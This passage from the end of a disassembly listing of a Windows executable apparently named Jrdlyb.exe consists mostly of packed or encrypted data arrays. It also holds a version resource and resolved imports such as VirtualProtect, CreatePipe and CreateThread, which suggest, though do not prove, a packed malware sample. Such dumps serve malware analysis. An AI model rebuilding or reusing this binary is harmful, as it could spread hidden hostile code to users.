76AAB3D7h, 5EC2E8CEh, 19EEE092h, 0ADFFFC19h dd 4A049721h, 914D5F6Ch, 6CD35EC8h, 0BD3EBEB4h, 0C3439B73h dd 36972741h, 268D53FAh, 5DE6A8CAh, 298DDE53h, 5AB318D3h dd 96A0B01Eh, 0AFD7F244h, 0BC227524h, 6FD84527h, 7DBA24E0h dd 18E71A33h, 0A6F8FED8h, 820B3D0Bh, 87ABE2C6h, 29BCF0F3h dd 78B4157Fh, 7AFC18EDh, 86D5A515h, 56ACCBADh, 0A39E3145h dd 1663C08h, 0E1E256F8h, 0D5EA92Ah, 0D8F871DFh, 0E0C1AAF7h dd 4213CF67h, 264F7124h, 0B85DAC8Fh, 0EC667ACDh, 1599D1A1h dd 0ED92F394h, 6A0C3E8Eh, 4456BCCCh, 42DB5ECBh, 80A0F7A1h dd 1F0B601Fh, 0CBB99025h, 941D303Ch, 9F802D9Bh, 0C9C7DF73h dd 31CEB24h, 2D9CADEEh, 91FE5E96h, 3F32705Ch, 7696F17Ah dd 3D5B0B24h, 4F3C8532h, 38807BE2h, 3063E4B0h, 7EA53E3Ch dd 0B56C02ADh, 8DA09857h, 335BD7DBh, 7CD30D20h, 0A15295D5h dd 8A945BC5h, 10FC5C06h, 699D3642h, 0B40F9897h, 0C7E5FADAh dd 60ECD124h, 0F13798C8h, 6A5BBEEBh, 3FC1557Fh, 0F811B513h dd 0DB83AAFEh, 0EE9F50DFh, 87295538h, 0FFA68312h, 45F58D96h dd 0F4F5FB3Eh, 42C45CA7h, 8FD0B2A8h, 7DBA24E0h, 18E71A33h dd 0A6F8FED8h, 820B3D0Bh, 10A5305h, 2D871E30h, 78B4157Fh dd 7AFC18EDh, 0D3801B6Fh, 0C9A03FF1h, 97B836D7h, 0DAB0676Eh dd 0E1E256F8h, 0D5EA92Ah, 0D7AA0E1Bh, 15753E5Dh, 4213CF67h dd 264F7124h, 0BF3FC63Bh, 0E80E229Dh, 388D8ADCh, 6C309C47h dd 6A0C3E8Eh, 4456BCCCh, 197C0630h, 0BBBF5107h, 1F0B601Fh dd 0CBB99025h, 0BF6FABB4h, 635BBC94h, 0F6508282h, 63D20CF5h dd 2D9CADEEh, 91FE5E96h, 3F32705Ch, 7696F17Ah, 3D5B0B24h dd 4F3C8532h, 38807BE2h, 3063E4B0h, 7EA53E3Ch, 0B56C02ADh dd 8DA09857h, 335BD7DBh, 7CD30D20h, 0A15295D5h, 8A945BC5h dd 10FC5C06h, 699D3642h, 0B40F9897h, 0C7E5FADAh, 60ECD124h dd 0F13798C8h, 6A5BBEEBh, 3FC1557Fh, 0F811B513h, 0DB83AAFEh dd 0EE9F50DFh, 87295538h, 0FFA68312h, 45F58D96h, 0F4F5FB3Eh dd 42C45CA7h, 8FD0B2A8h, 7DBA24E0h, 18E71A33h, 7C2CF835h dd 6CE88FA9h, 0D1B08BE0h, 0F9AC32BDh, 0AFD09CEFh, 0B1081D4h dd 28DA9109h, 0CD2F4D99h, 6CACADC2h, 0C568B319h, 95F57C4h dd 0B0017763h, 0E5226F8Eh, 0FBDE1745h, 0DD74476h, 0C7A4DCD6h dd 6D7DCCBh, 813588h, 65AE674Dh, 30276F90h, 98F82380h dd 67453C76h, 0A4303497h, 2A52E39Ch, 438B2AC8h, 0FD05B846h dd 41799CC1h, 0B19B48E8h, 0FE35148h, 24862752h, 2C9C8D53h dd 713CF8E2h, 6C661822h, 20336422h, 64D792E5h, 1F7C84D0h dd 0D7A5A022h, 56C2AE74h, 0C53961D6h, 0D81312B4h, 7356D490h dd 4DE9EDE2h, 99FBFD8Ah, 0D885D6A6h, 0CBB85543h, 0B31195EAh dd 0D72AAB4Ah, 0A3CF61B8h, 0DC45D6EFh, 0D77D70DDh, 0B4BF91C5h dd 410939Ch, 21497E6Ch, 0E8ACB47Ah, 0CC395052h, 0EF465F07h dd 0C0D8F882h, 3ED0A9CCh, 907B072Ah, 5DDA5D68h, 0BC0D8AA8h dd 0E51F7D13h, 6F669D4Dh, 0C0D04E8Dh, 65F50240h, 0F4D4F1B3h dd 0EB421BD9h, 3EBC8EE5h, 0ECA9BEDBh, 536A1135h, 7065C03Ch dd 0D95DBC23h, 159F24AFh, 6194C9C5h, 1B09ED3Ah, 910694B7h dd 0A6F80C51h, 322FC294h, 35A0010Eh, 21E39C5Dh, 4991A017h dd 0A7FD048Ch, 7365E0C5h, 20A86DCEh, 0A85FDC18h, 51539F0Ch dd 0A6E78B23h, 1AD104CFh, 0DD8FE4C9h, 0DE19405Eh, 5EC51154h dd 10969513h, 119DF61Eh, 2DB54680h, 0B7DD3FCAh, 0EF75182Ch dd 5A36D0ACh, 8A2C3F8Dh, 0FD95D232h, 4BE15EA1h, 0DF7FDAD4h dd 2298711Eh, 1521DEh, 27EE6B4Ah, 0C9E0DB41h, 0E430CB21h dd 2FDCF8CDh, 80788555h, 733C0BA6h, 2C458C0Ah, 53337A8h dd 257F0C02h, 1893D356h, 0D03593CBh, 65886EC9h, 5EE66AFBh dd 0BFF3922Dh, 0BA964FBAh, 78301851h, 9E1E3776h, 2BEF6041h dd 0D2AC9B22h, 4C547268h, 0E76719D8h, 0BE120CABh, 343CF9FCh dd 0C221C4h, 718A0EB9h dd 809AA8BBh, 470CD355h, 82155F60h, 0B0DD3256h, 172767B2h dd 88F37B8Bh, 0E6E3735Bh, 0CEF3DB87h, 3558CFD0h, 0D4B69A01h dd 8FDA5C43h, 0AE7CA89Eh, 0DF21A9Eh, 2309DC9h, 638FEA67h dd 0F2CA9395h, 0ABC2C9E4h, 0BD1D6C57h, 7B461340h, 61C6369Ah dd 0D03FDA4h, 23890A43h, 2FB720ECh, 6C49F36Bh, 0A55140Dh dd 0FF20D62Ah, 2E79C5FDh, 9DB43AFFh, 0F2931EBDh, 4418EE8h dd 0C8A22D26h, 0E5665F66h, 9B6414B3h, 9BA2A559h, 0A3E6933Dh dd 541CFBC1h, 24A01FDBh, 0A95013A3h, 1A5BA4FBh, 0B63C2FB4h dd 715CCDF9h, 689F8082h, 0FE4F494Fh, 2DD04D9Dh, 7CC95B21h dd 5A1F88A4h, 2A2609A3h, 0B0ACE1E6h, 0F8A601D0h, 8F0A90Fh dd 0A14D04FFh, 5B278C3h, 0B566C87Fh, 0FBA3CB1Eh, 731B8BBh dd 28A5FE8Fh, 48A529D9h, 66D98D8Eh, 0A5CA95F0h, 6F5924B3h dd 0E48DADF4h, 0DC2A3424h, 0D2F92F9Ch, 0D09F5EA5h, 0D0B5AFB3h dd 0A3AF769Ch, 5FD1385Ah, 0F756A678h, 85B016BBh, 344E2214h dd 6FF67603h, 42F97568h, 0EA6DFDB2h, 36509AB6h, 4B59012Fh dd 1DEF392Bh, 5AD1A19Fh, 0F2FE74DFh, 0FBF0DDCCh, 78AB309Fh dd 3EAE31FCh, 6F234F76h, 3B7BBBA0h, 15482880h, 113E5DC3h dd 264E2861h, 68B567B1h, 7DFF9D6h, 6CF4E748h, 1A0BA9ACh dd 0E0AE6915h, 5A8BB702h, 64D3E45Eh, 5BC6E21Dh, 4586080Ah dd 70F35687h, 5D6B67Fh, 22F7D7h, 0D94FD348h, 0D5E203BFh dd 0FA30190Ch, 76D356Dh, 8BC8182Eh, 5A10CAE3h, 274551Ch dd 2F5FED7Dh, 9FE4747Bh, 7310549h, 0A0E61B52h, 169EFE26h dd 0E6EA2FF6h, 0CC7108BEh, 6AAF7E2Bh, 1D0FD12Ch, 0BC46684Ch dd 402E5638h, 216D93DCh, 0F1FF6276h, 3EE5F0CEh, 0E2C004EDh dd 87295538h, 0FFA68312h, 45F58D96h, 0F4F5FB3Eh, 42C45CA7h dd 8FD0B2A8h, 7DBA24E0h, 18E71A33h, 0A6F8FED8h, 820B3D0Bh dd 10A5305h, 2D871E30h, 78B4157Fh, 7AFC18EDh, 0D3801B6Fh dd 0C9A03FF1h, 97B836D7h, 0DAB0676Eh, 0E1E256F8h, 0D5EA92Ah dd 0D7AA0E1Bh, 15753E5Dh, 0C88D7DFAh, 2FAD99D7h, 21338A4Bh dd 428314B0h, 0E2CA9611h, 1E8F4AFCh, 5B019F36h, 912D9119h dd 859CF8ABh, 0B1A2E343h, 0AF052025h, 713FD9DEh, 0A0274AD6h dd 654F1128h, 46AA2BD4h, 0F45E2C60h, 7B2EFEC2h, 60D83AE2h dd 16F7538Ah, 1F1B7219h, 432CB3EDh, 5156467Dh, 38807BE2h dd 3063E4B0h, 7EA53E3Ch, 0B56C02ADh, 8DA09857h, 335BD7DBh dd 7CD30D20h, 0A15295D5h, 8A945BC5h, 10FC5C06h, 699D3642h dd 0B40F9897h, 0C7E5FADAh, 60ECD124h, 0F13798C8h, 6A5BBEEBh dd 3FC1557Fh, 0F811B513h, 0DB83AAFEh, 0EE9F50DFh, 87295538h dd 0FFA68312h, 45F58D96h, 0F4F5FB3Eh, 42C45CA7h, 8FD0B2A8h dd 7DBA24E0h, 18E71A33h, 0A6F8FED8h, 820B3D0Bh, 10A5305h dd 2D871E30h, 78B4157Fh, 7AFC18EDh, 0D3801B6Fh, 0C9A03FF1h dd 97B836D7h, 0DAB0676Eh, 0E1E256F8h, 0D5EA92Ah, 0D7AA0E1Bh dd 15753E5Dh, 4213CF67h, 264F7124h, 0BF3FC63Bh, 0E80E229Dh dd 388D8ADCh, 6C309C47h, 6A0C3E8Eh, 4456BCCCh, 197C0630h dd 0BBBF5107h, 1F0B601Fh, 0CBB99025h, 0BF6FABB4h, 635BBC94h dd 0F6508282h, 63D20CF5h, 2D9CADEEh, 91FE5E96h, 3F32705Ch dd 7696F17Ah, 3D5B0B24h, 4F3C8532h, 38807BE2h, 3063E4B0h dd 7EA53E3Ch, 0B56C02ADh, 8DA09857h, 335BD7DBh, 7CD30D20h dd 0A15295D5h, 8A945BC5h, 10FC5C06h, 699D3642h, 0B40F9897h dd 0C7E5FADAh, 60ECD124h, 0F13798C8h, 6A5BBEEBh, 3FC1557Fh dd 0F811B513h, 0DB83AAFEh, 0EE9F50DFh, 87295538h, 0FFA68312h dd 45F58D96h, 0F4F5FB3Eh, 42C45CA7h, 8FD0B2A8h, 7DBA24E0h dd 18E71A33h, 0A6F8FED8h, 820B3D0Bh, 10A5305h, 2D871E30h dd 78B4157Fh, 7AFC18EDh, 0D3801B6Fh, 0C9A03FF1h, 97B836D7h dd 0DAB0676Eh, 0E1E256F8h, 0D5EA92Ah, 0D7AA0E1Bh, 15753E5Dh dd 4213CF67h, 264F7124h, 0BF3FC63Bh, 0E80E229Dh, 388D8ADCh dd 6C309C47h, 6A0C3E8Eh, 4456BCCCh, 197C0630h, 0BBBF5107h dd 1F0B601Fh, 0CBB99025h, 0BF6FABB4h, 635BBC94h, 0F6508282h dd 63D20CF5h, 2D9CADEEh, 91FE5E96h, 3F32705Ch, 7696F17Ah dd 3D5B0B24h, 4F3C8532h, 38807BE2h, 3063E4B0h, 0EA462E78h dd 9A911E36h, 5538B749h, 0B42DCE1Fh, 4C6FC879h, 9A384C32h dd 0AEC32A1Ah, 0C93809F2h, 0D0F9A159h, 96519B18h, 0C3BE1AF3h dd 0A468B1Dh, 5F21CA8Ah, 0C39A787Ah, 3FC1557Fh, 0F811B513h dd 0DB83AAFEh, 0EE9F50DFh, 0CCEF03B6h, 807E3681h, 9657183Bh dd 32DBEE03h, 0E8F25908h, 997EAFFFh, 3B5689C7h, 0DF0BFEADh dd 602CABCh, 9F829CE2h, 658394CCh, 0B81998AEh, 0F800245Bh dd 935D0CD6h, 0A39A5F03h, 750B6524h, 0A8B42615h, 0FAA709F5h dd 0E1E256F8h, 0D5EA92Ah, 0D7AA0E1Bh, 15753E5Dh, 4213CF67h dd 264F7124h, 0BF3FC63Bh, 0E80E229Dh, 388D8ADCh, 6C309C47h dd 6A0C3E8Eh, 4456BCCCh, 197C0630h, 0BBBF5107h, 1F0B601Fh dd 0CBB99025h, 0BF6FABB4h, 635BBC94h, 0F6508282h, 63D20CF5h dd 0FE884558h, 26C3D986h, 97EFC822h, 2EAF559Bh, 0A0DD4750h dd 0C5CEC729h, 6514C4A8h, 6E83161Dh, 12EEB93Fh, 6B33DD4Dh dd 0D430DCF2h, 1D3AE217h, 5DEFDD4Ah, 857085E0h, 293AAC34h dd 735C8271h, 926281B1h, 0DE4DB333h, 78C6390Fh, 0E92A63ADh dd 186D5D21h, 99C56F26h, 0ABDDEE50h, 245D52D0h, 363BD10Ah dd 1549A2B2h, 5FEEE431h, 8A659348h, 1CEEEBBh, 0F874F7BFh dd 8121B9F4h, 5D80BE89h, 0BC53F13Fh, 14A0C8A5h, 0AE94A48Ah dd 32FA6CC6h, 4D97B59h, 0A36A6564h, 7443848Ah, 0B3005840h dd 0FCA8459Ch, 0F278F987h, 97B836D7h, 0DAB0676Eh, 0E1E256F8h dd 0D5EA92Ah, 0D7AA0E1Bh, 15753E5Dh, 4213CF67h, 264F7124h dd 0BF3FC63Bh, 0E80E229Dh, 388D8ADCh, 6C309C47h, 6A0C3E8Eh dd 4456BCCCh, 197C0630h, 0BBBF5107h, 1F0B601Fh, 0CBB99025h dd 0BF6FABB4h, 635BBC94h, 0F6508282h, 63D20CF5h, 2D9CADEEh dd 91FE5E96h, 3F32705Ch, 7696F17Ah, 0B50DDCBDh, 2A545287h dd 27275BCFh, 6D1F5985h, 0E67AB3C5h, 683D0D36h, 896E1C60h dd 19EA5AAAh, 1FDCEE5Ch, 0C0A46E90h, 9A3652Bh, 4477C5BDh dd 7A92EB8Dh, 1C90B7E2h, 57F60C4Eh, 17187688h, 0F8C9F15Bh dd 0A7AFD5EBh, 411CAA48h, 0C77A326Bh, 0C3254273h, 1A5ECEF9h dd 0E9C7AFBDh, 0EF570137h, 0BA127486h, 0B6D330E0h, 75AE1E60h dd 0E50E2FB1h, 0D2ACE0F9h, 0E94A51BBh, 0C4482025h, 8731B52h dd 3388BBBFh, 589BDABh, 0BC4F9972h, 9F4D7985h, 7FEAFD0Fh dd 0FBB68C2h, 910C0457h, 5EF8C934h, 6DA60BF9h, 2281A45Dh dd 0B0E2474h, 1BF83309h, 638A0C2Bh, 29208ED2h, 61273FF5h dd 66DBE084h, 0B884ACD3h, 427C541Bh, 5C55E941h, 3A1D6503h dd 99B66DB5h, 170963A0h, 0BD3C0F26h, 13782409h, 51A991F6h dd 0C3F65050h, 609C3097h, 0D54FACEEh, 0D243EE26h, 82720D97h dd 0C7B03521h, 5F66D49Bh, 0D3376882h, 35E338FFh, 290C6C75h dd 29B7B33Ah, 98369834h, 24B3935Ah, 0C7D1B78Fh, 68C58DEAh dd 271F9DE6h, 0F51C1239h, 5368B766h, 0B44C144Bh, 0E5227F09h dd 7F924DA5h, 1C2A4F22h, 46AA9FC3h, 0FDC284D8h, 9FE52F5Eh dd 5B26787h, 7478E7A2h, 45A66B87h, 63C9D40Ch, 7FC21E4h dd 11023E4Dh, 0B4165EEFh, 0FC976DD7h, 26D82C87h, 39AC40E0h dd 0A9982CC8h, 0E5C3092h dd 0A16D2B4Bh, 30BA3CCFh, 75E3041Eh, 136F55C4h, 3EEB007Dh dd 45324C89h, 93D97FC8h, 0AE63306Dh, 0DA238E69h, 7ACD0C2Dh dd 2B61880Eh, 5DA74525h, 4CC97B3Dh, 0D391BEDFh, 5C9DD35Fh dd 0E37236D0h, 1B3AA77Eh, 7F64A114h, 94A5D29Ah, 463ECF38h dd 9F785906h, 0BB392483h, 0B67267B8h, 0FB28FEE5h, 1B124DD5h dd 9D103F59h, 6861414Ch, 0B87F7859h, 4F935FEDh, 502C9D65h dd 398469h, 5214E95Dh, 0E2C01823h, 0AAD5510Dh, 14E84651h dd 7489AC73h, 90AD7BC9h, 91BE9933h, 48FCC926h, 87B9D25Dh dd 6B01963Dh, 5DE03D28h, 0B9456F4Ah, 1C21EFD3h, 1237C68Eh dd 4091CB07h, 0E80CF7A3h, 8F2A3B48h, 77748A18h, 0BF2F525Fh dd 23EF6376h, 8FEEBB21h, 686A4CEh, 2AE05AA8h, 2CE8FE82h dd 0C9820855h, 807A1D3Dh, 63AA2483h, 888D5CA2h, 1C2A64D3h dd 77525548h, 648F5A90h, 2DEBE222h, 7804CEDCh, 24F50F6h dd 0F43DF08Bh, 36BE492Ah, 0F262473Ch, 31EF04DEh, 5F8634AAh dd 0DADC998Eh, 5BD0B7AFh, 8D1A04E2h, 5F4FA99Ah, 0AC244D09h dd 1440FD19h, 1E48E91Eh, 0B2826938h, 42AE44E2h, 4ADFAC60h dd 0CE77D56h, 8F866F97h, 83515ECFh, 743909F8h, 0FD908374h dd 2732226Eh, 0FCD144CFh, 975E9B05h, 88418294h, 2391EE14h dd 0B7BFE743h, 0CB62A0A9h, 50D65A86h, 0B895E6D0h, 0C693EFC0h dd 49713E1Eh, 0C5D778AFh, 0E5BCCA0Eh, 2EEAE173h, 14FCB038h dd 4FDABB55h, 0ECB10158h, 8D19558Ah, 9A3E3181h, 20083F71h dd 53595866h, 0DE447608h, 0F9B3CBA1h, 0FE0C91A3h, 0A1B3A4D2h dd 9D588215h, 689546E4h, 0C9A5C6B7h, 0F5152EFFh, 9B0452D3h dd 0AD1BE116h, 0AAC93B46h, 0DA20FEA4h, 7B688E88h, 1B69A6ACh dd 0AB9FA4DDh, 9F83CCC8h, 956FCEB9h, 0EFD6F67Ah, 734FBEB7h dd 7F0AABCh, 74E8CC1Dh, 4B685658h, 47FDCEFFh, 0A7851577h dd 780EE683h, 90BEEC29h, 15DFBA8Eh, 19608D46h, 0F74DC7E6h dd 498980CDh, 0C854CB95h, 2604D697h, 8B7ED5ECh, 45546CDAh dd 11854308h, 0BDE02654h, 59F60FFBh, 0C7E48A51h, 7064242Dh dd 419C3D5h, 7F5D0B49h, 505996Ch, 0BD2EDB1Dh, 7D709698h dd 9A812CA9h, 0D24D4F49h, 7B0C62F1h, 0FD205466h, 537229A2h dd 7C83332Ch, 1D1DDA84h, 72E7BFD6h, 0CADB15E9h, 0DBD8E16Bh dd 2888F3DCh, 0AB67CA26h, 5C92E46Ch, 0FDF8B52Ah, 85739881h dd 0A37F9321h, 0C824DD69h, 9303A91Eh, 972932CAh, 86FEC1DEh dd 69D1BC7Ah, 407D754Ah, 84B2BC39h, 0BBA7140Ch, 35C1FF9Bh dd 0D731A53Fh, 68C36134h, 0E7C14235h, 0ADF63D38h, 9920EF64h dd 0FE958196h, 0FBC9B546h, 19A1DBFh, 48C9C459h, 52A1C01Fh dd 0AFBE78BFh, 76F17999h, 0CCC31C90h, 24EA73B6h, 5A1198B4h dd 488897DFh, 0F26EE34Ch, 7E5DF184h, 0EA32E77Eh, 78D75E8h dd 144B1D03h, 27FF44C3h, 3B209460h, 83431556h, 4AE9A071h dd 0B0D80DECh, 2758AF89h, 3849A4Ch, 152AE0B5h, 0BAEDF4C1h dd 9AD8F298h, 0AAE7C929h, 0D4B7127Dh, 0A884CBD4h, 9EA2CED8h dd 0AFB870F3h, 0A418F0FBh, 0EA30A99Eh, 0BA8E13EAh, 5D5ACA72h dd 0EED77EABh, 62C16862h, 0BE1A7E12h, 0E5CA9D59h, 1E2E896Bh dd 0BA212985h, 0DDA71BA0h, 1820052Dh, 949CE575h, 0BB73F4AAh dd 0AC71E5Bh, 875125DDh, 0EA5C0D38h, 38807BE2h, 3063E4B0h dd 7EA53E3Ch, 0B56C02ADh, 8DA09857h, 335BD7DBh, 7CD30D20h dd 0A15295D5h, 8A945BC5h, 10FC5C06h, 699D3642h, 0B40F9897h dd 0C7E5FADAh, 60ECD124h, 0F13798C8h, 6A5BBEEBh, 3FC1557Fh dd 0F811B513h, 0DB83AAFEh, 0EE9F50DFh, 87295538h, 0FFA68312h dd 45F58D96h, 0F4F5FB3Eh, 42C45CA7h, 8FD0B2A8h, 7DBA24E0h dd 18E71A33h, 0A6F8FED8h, 820B3D0Bh, 10A5305h, 2D871E30h dd 78B4157Fh, 7AFC18EDh, 0D3801B6Fh, 0C9A03FF1h, 97B836D7h dd 0DAB0676Eh, 0E1E256F8h, 0D5EA92Ah, 0D7AA0E1Bh, 15753E5Dh dd 4213CF67h, 264F7124h, 0BF3FC63Bh, 0E80E229Dh, 388D8ADCh dd 6C309C47h, 6A0C3E8Eh, 4456BCCCh, 197C0630h, 0BBBF5107h dd 1F0B601Fh, 0CBB99025h, 0BF6FABB4h, 635BBC94h, 0F6508282h dd 63D20CF5h, 2D9CADEEh, 91FE5E96h, 3F32705Ch, 7696F17Ah dd 5E1CF9E4h, 0FA15EA4Eh, 0EE87647Dh, 905DDCCDh, 0D37BD30Bh dd 6070FD76h, 327FD107h, 9B86EE26h, 15B14082h, 0FBD685F2h dd 0A56D3426h, 64D583Bh, 0B1B6AB5Ah, 0D29D696Ah, 29AF328Dh dd 83388170h, 0C1906513h, 43C6B920h, 93D1D2DFh, 0E56B21E7h dd 9F1B3780h, 2AD6D1EFh, 2768B29Bh, 0B4AA8CBDh, 0DDE92929h dd 5AAFE5D6h, 0C4970908h, 113E410Fh, 0DAD29296h, 9D7271EEh dd 0DAD29296h, 9D7271EEh, 0DAD29296h, 9D7271EEh, 0DAD29296h dd 9D7271EEh, 0DAD29296h, 9D7271EEh, 0DAD29296h, 9D7271EEh dd 0DAD29296h, 9D7271EEh, 0DAD29296h, 9D7271EEh, 0DAD29296h dd 9D7271EEh, 0DAD29296h, 9D7271EEh, 0DAD29296h, 9D7271EEh dd 0DAD29296h, 9D7271EEh, 0DAD29296h, 9D7271EEh, 0DAD29296h dd 9D7271EEh, 0DAD29296h, 9D7271EEh, 0DAD29296h, 9D7271EEh dd 0DAD29296h, 9D7271EEh, 0DAD29296h, 9D7271EEh, 0DAD29296h dd 9D7271EEh, 0DAD29296h, 9D7271EEh, 0DAD29296h, 9D7271EEh dd 0DAD29296h, 9D7271EEh, 0DAD29296h, 9D7271EEh, 0DAD29296h dd 9D7271EEh, 0DAD29296h, 9D7271EEh, 0DAD29296h, 9D7271EEh dd 0DAD29296h, 9D7271EEh, 0DAD29296h, 9D7271EEh, 0DAD29296h dd 9D7271EEh, 0DAD29296h, 9D7271EEh, 0DAD29296h, 9D7271EEh dd 0DAD29296h, 9D7271EEh, 0DAD29296h, 9D7271EEh, 136h dup(0) dd 86h, 4Ch dup(0) dd 10000h, 10h, 80000018h, 3 dup(0) dd 1, 80000058h, 80000030h, 3 dup(0) dd 10000h, 409h, 48h, 38080h, 25Eh, 2 dup(0) dd 56000Fh, 5F0053h, 450056h, 530052h, 4F0049h, 5F004Eh dd 4E0049h, 4F0046h, 2 dup(0) dd 34025Eh, 560000h, 5F0053h, 450056h, 530052h, 4F0049h dd 5F004Eh, 4E0049h, 4F0046h, 0 dd 0FEEF04BDh, 10000h, 40002h, 20004h, 40002h, 20004h dd 17h, 0 dd 4, 1, 3 dup(0) dd 202h, 530001h, 720074h, 6E0069h, 460067h, 6C0069h, 490065h dd 66006Eh, 6Fh, 1DEh, 300001h, 310034h, 300039h, 620034h dd 30h, 13004Eh, 460001h, 6C0069h, 440065h, 730065h, 720063h dd 700069h, 690074h, 6E006Fh, 0 aJrdlybApplic_1: unicode 0, <Jrdlyb Application>,0 align 4 a6_0: unicode 0, <6> dw 0Bh dd 460001h, 6C0069h, 560065h, 720065h, 690073h, 6E006Fh dd 0 a4224_0: unicode 0, <4, 2, 2, 4>,0 align 10h a__0: unicode 0, <.> dw 7 dd 490001h, 74006Eh, 720065h, 61006Eh, 4E006Ch, 6D0061h dd 65h, 72004Ah, 6C0064h, 620079h, 0 dd 13004Ah, 4C0001h, 670065h, 6C0061h, 6F0043h, 790070h dd 690072h, 680067h, 74h, 6F0043h, 790070h, 690072h, 680067h dd 200074h, 430028h, 200029h, 300032h, 380030h, 0 dd 0B003Eh, 4F0001h, 690072h, 690067h, 61006Eh, 46006Ch dd 6C0069h, 6E0065h, 6D0061h, 65h, 72004Ah, 6C0064h, 620079h dd 65002Eh, 650078h, 0 dd 130046h, 500001h, 6F0072h, 750064h, 740063h, 61004Eh dd 65006Dh, 0 aJrdlybApplic_2: unicode 0, <Jrdlyb Application>,0 align 4 unicode 0, <:> dw 0Bh dd 500001h, 6F0072h, 750064h, 740063h, 650056h, 730072h dd 6F0069h, 6Eh, 2C0034h, 320020h, 20002Ch, 2C0032h, 340020h dd 3FEBh dup(0) db 0 dword_431B29 dd 17F0h ; sub_3D14C4:loc_3D14EDw ... dword_431B2D dd 2E4Ah ; sub_3D14C4+47w dword_431B31 dd 5D5Ch ; sub_3D14C4+5Bw dword_431B35 dd 35F4h ; sub_3D14C4+74w align 10h dword_431B40 dd 7C801AD0h ; resolved to->KERNEL32.VirtualProtect ; sub_3D1855+98r ... dword_431B44 dd 7C80B6A1h ; resolved to->KERNEL32.GetModuleHandleAdword_431B48 dd 7C809B47h ; resolved to->KERNEL32.CloseHandle ; sub_3D14A7+15r ... dword_431B4C dd 7C810637h ; resolved to->KERNEL32.CreateThread ; sub_3D1900+37Cw dword_431B50 dd 7C81E0C7h ; resolved to->KERNEL32.CreatePipe ; sub_3D14C4+A5r ... dword_431B54 dd 7C80180Eh ; resolved to->KERNEL32.ReadFile ; sub_3D1900+3A0w dword_431B58 dd 7C810D87h ; resolved to->KERNEL32.WriteFile ; sub_3D1900+3B2w align 100h _data ends ; Section 5. (virtual address 00063000) ; Virtual size : 00001000 ( 4096.) ; Section size in file : 00000200 ( 512.) ; Offset to raw data for section: 00062400 ; Flags C0000040: Data Readable Writable ; Alignment : default ; =========================================================================== ; Segment type: Pure data ; Segment permissions: Read/Write _idata2 segment para public 'DATA' use32 assume cs:_idata2 ;org 433000h align 2000h _idata2 ends end start